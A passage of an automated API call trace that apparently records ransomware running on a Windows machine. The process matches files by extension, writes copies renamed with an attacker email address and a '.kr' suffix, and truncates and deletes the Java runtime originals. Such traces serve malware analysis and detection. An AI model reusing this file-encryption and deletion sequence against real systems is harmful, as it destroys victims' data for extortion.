lstrlenW (lpString=".rar") returned 4 [0179.589] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0179.589] lstrlenW (lpString=".bz2") returned 4 [0179.589] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0179.589] lstrlenW (lpString=".7z") returned 3 [0179.589] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0179.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0179.589] lstrlenW (lpString=".dbf") returned 4 [0179.589] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0179.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0179.589] lstrlenW (lpString=".1cd") returned 4 [0179.589] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0179.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0179.589] lstrlenW (lpString=".jpg") returned 4 [0179.589] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0179.589] lstrcmpiW (lpString1=".jar", lpString2=".kr") returned -1 [0179.589] lstrlenW (lpString="access-bridge-64.jar") returned 20 [0179.590] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0179.592] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=188024) returned 1 [0179.592] CloseHandle (hObject=0x454) returned 1 [0179.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 0x20 [0179.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0179.593] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0179.593] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.593] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.593] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0179.595] GetLastError () returned 0x0 [0179.595] ReadFile (in: hFile=0x454, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2de78, lpOverlapped=0x0) returned 1 [0179.603] WriteFile (in: hFile=0x3ec, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2de80, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2de80, lpOverlapped=0x0) returned 1 [0179.607] ReadFile (in: hFile=0x454, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.607] WriteFile (in: hFile=0x3ec, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xfc, lpOverlapped=0x0) returned 1 [0179.607] SetEndOfFile (hFile=0x3ec) returned 1 [0179.607] CloseHandle (hObject=0x3ec) returned 1 [0179.611] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.611] SetEndOfFile (hFile=0x454) returned 1 [0179.617] CloseHandle (hObject=0x454) returned 1 [0179.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0179.618] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 1 [0179.618] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0179.618] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0179.618] lstrlenW (lpString=".doc") returned 4 [0179.618] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0179.618] lstrlenW (lpString=".docx") returned 5 [0179.618] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1 [0179.618] lstrlenW (lpString=".pdf") returned 4 [0179.618] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0179.619] lstrlenW (lpString=".xls") returned 4 [0179.619] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0179.619] lstrlenW (lpString=".xlsx") returned 5 [0179.619] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1 [0179.619] lstrlenW (lpString=".ppt") returned 4 [0179.619] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0179.619] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0179.619] lstrlenW (lpString=".zip") returned 4 [0179.619] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0179.619] lstrlenW (lpString=".rar") returned 4 [0179.619] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0179.619] lstrlenW (lpString=".bz2") returned 4 [0179.619] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0179.619] lstrlenW (lpString=".7z") returned 3 [0179.619] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0179.619] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0179.619] lstrlenW (lpString=".dbf") returned 4 [0179.619] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0179.619] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0179.619] lstrlenW (lpString=".1cd") returned 4 [0179.619] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0179.619] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0179.619] lstrlenW (lpString=".jpg") returned 4 [0179.619] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0179.619] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0179.619] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0179.619] lstrlenW (lpString=".doc") returned 4 [0179.619] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0179.619] lstrlenW (lpString=".docx") returned 5 [0179.619] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1 [0179.619] lstrlenW (lpString=".pdf") returned 4 [0179.619] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0179.619] lstrlenW (lpString=".xls") returned 4 [0179.619] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0179.620] lstrlenW (lpString=".xlsx") returned 5 [0179.620] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1 [0179.620] lstrlenW (lpString=".ppt") returned 4 [0179.620] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0179.620] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0179.620] lstrlenW (lpString=".zip") returned 4 [0179.620] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0179.620] lstrlenW (lpString=".rar") returned 4 [0179.620] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0179.620] lstrlenW (lpString=".bz2") returned 4 [0179.620] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0179.620] lstrlenW (lpString=".7z") returned 3 [0179.620] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0179.620] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0179.620] lstrlenW (lpString=".dbf") returned 4 [0179.620] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0179.620] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0179.620] lstrlenW (lpString=".1cd") returned 4 [0179.620] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0179.620] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0179.620] lstrlenW (lpString=".jpg") returned 4 [0179.620] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0179.620] lstrcmpiW (lpString1=".jar", lpString2=".kr") returned -1 [0179.620] lstrlenW (lpString="cldrdata.jar") returned 12 [0179.620] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0179.621] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3860502) returned 1 [0179.621] CloseHandle (hObject=0x454) returned 1 [0179.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar")) returned 0x20 [0179.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0179.621] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0179.621] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0179.621] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0179.621] lstrlenW (lpString=".doc") returned 4 [0179.622] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0179.622] lstrlenW (lpString=".docx") returned 5 [0179.622] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0179.622] lstrlenW (lpString=".pdf") returned 4 [0179.622] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0179.622] lstrlenW (lpString=".xls") returned 4 [0179.622] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0179.622] lstrlenW (lpString=".xlsx") returned 5 [0179.622] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0179.622] lstrlenW (lpString=".ppt") returned 4 [0179.622] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0179.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0179.622] lstrlenW (lpString=".zip") returned 4 [0179.622] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0179.622] lstrlenW (lpString=".rar") returned 4 [0179.622] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0179.622] lstrlenW (lpString=".bz2") returned 4 [0179.622] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0179.622] lstrlenW (lpString=".7z") returned 3 [0179.622] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0179.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0179.622] lstrlenW (lpString=".dbf") returned 4 [0179.622] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0179.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0179.622] lstrlenW (lpString=".1cd") returned 4 [0179.622] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0179.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0179.622] lstrlenW (lpString=".jpg") returned 4 [0179.622] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0179.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0179.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0179.622] lstrlenW (lpString=".doc") returned 4 [0179.622] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0179.623] lstrlenW (lpString=".docx") returned 5 [0179.623] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0179.623] lstrlenW (lpString=".pdf") returned 4 [0179.623] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0179.623] lstrlenW (lpString=".xls") returned 4 [0179.623] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0179.623] lstrlenW (lpString=".xlsx") returned 5 [0179.623] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0179.623] lstrlenW (lpString=".ppt") returned 4 [0179.623] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0179.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0179.623] lstrlenW (lpString=".zip") returned 4 [0179.623] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0179.623] lstrlenW (lpString=".rar") returned 4 [0179.623] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0179.623] lstrlenW (lpString=".bz2") returned 4 [0179.623] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0179.623] lstrlenW (lpString=".7z") returned 3 [0179.623] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0179.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0179.623] lstrlenW (lpString=".dbf") returned 4 [0179.623] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0179.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0179.623] lstrlenW (lpString=".1cd") returned 4 [0179.623] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0179.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0179.623] lstrlenW (lpString=".jpg") returned 4 [0179.623] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0179.623] lstrcmpiW (lpString1=".jar", lpString2=".kr") returned -1 [0179.623] lstrlenW (lpString="dnsns.jar") returned 9 [0179.624] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0179.624] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=8286) returned 1 [0179.624] CloseHandle (hObject=0x454) returned 1 [0179.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 0x20 [0180.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0180.124] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0180.125] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.125] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.125] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0180.125] GetLastError () returned 0x0 [0180.125] ReadFile (in: hFile=0x408, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x205e, lpOverlapped=0x0) returned 1 [0180.127] WriteFile (in: hFile=0x3f4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2060, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2060, lpOverlapped=0x0) returned 1 [0180.128] ReadFile (in: hFile=0x408, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.128] WriteFile (in: hFile=0x3f4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xe6, lpOverlapped=0x0) returned 1 [0180.129] SetEndOfFile (hFile=0x3f4) returned 1 [0180.129] CloseHandle (hObject=0x3f4) returned 1 [0180.130] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.130] SetEndOfFile (hFile=0x408) returned 1 [0180.133] CloseHandle (hObject=0x408) returned 1 [0180.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0180.133] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 1 [0180.134] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0180.134] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0180.134] lstrlenW (lpString=".doc") returned 4 [0180.134] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0180.134] lstrlenW (lpString=".docx") returned 5 [0180.134] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0180.134] lstrlenW (lpString=".pdf") returned 4 [0180.134] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0180.134] lstrlenW (lpString=".xls") returned 4 [0180.134] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0180.134] lstrlenW (lpString=".xlsx") returned 5 [0180.134] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0180.134] lstrlenW (lpString=".ppt") returned 4 [0180.134] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0180.134] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0180.134] lstrlenW (lpString=".zip") returned 4 [0180.134] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0180.134] lstrlenW (lpString=".rar") returned 4 [0180.134] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0180.134] lstrlenW (lpString=".bz2") returned 4 [0180.135] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0180.135] lstrlenW (lpString=".7z") returned 3 [0180.135] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0180.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0180.135] lstrlenW (lpString=".dbf") returned 4 [0180.135] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0180.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0180.135] lstrlenW (lpString=".1cd") returned 4 [0180.135] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0180.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0180.135] lstrlenW (lpString=".jpg") returned 4 [0180.135] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0180.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0180.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0180.135] lstrlenW (lpString=".doc") returned 4 [0180.135] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0180.135] lstrlenW (lpString=".docx") returned 5 [0180.135] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0180.135] lstrlenW (lpString=".pdf") returned 4 [0180.135] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0180.135] lstrlenW (lpString=".xls") returned 4 [0180.135] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0180.135] lstrlenW (lpString=".xlsx") returned 5 [0180.135] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0180.135] lstrlenW (lpString=".ppt") returned 4 [0180.135] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0180.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0180.135] lstrlenW (lpString=".zip") returned 4 [0180.135] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0180.135] lstrlenW (lpString=".rar") returned 4 [0180.135] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0180.135] lstrlenW (lpString=".bz2") returned 4 [0180.135] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0180.136] lstrlenW (lpString=".7z") returned 3 [0180.136] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0180.136] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0180.136] lstrlenW (lpString=".dbf") returned 4 [0180.136] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0180.136] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0180.136] lstrlenW (lpString=".1cd") returned 4 [0180.136] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0180.136] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0180.136] lstrlenW (lpString=".jpg") returned 4 [0180.136] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0180.136] lstrcmpiW (lpString1=".jar", lpString2=".kr") returned -1 [0180.136] lstrlenW (lpString="zipfs.jar") returned 9 [0180.136] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0180.136] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=68924) returned 1 [0180.137] CloseHandle (hObject=0x408) returned 1 [0180.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 0x20 [0180.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0180.137] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0180.137] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.137] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.137] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0180.138] GetLastError () returned 0x0 [0180.138] ReadFile (in: hFile=0x408, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x10d3c, lpOverlapped=0x0) returned 1 [0180.166] WriteFile (in: hFile=0x3f4, lpBuffer=0x3d55020*, 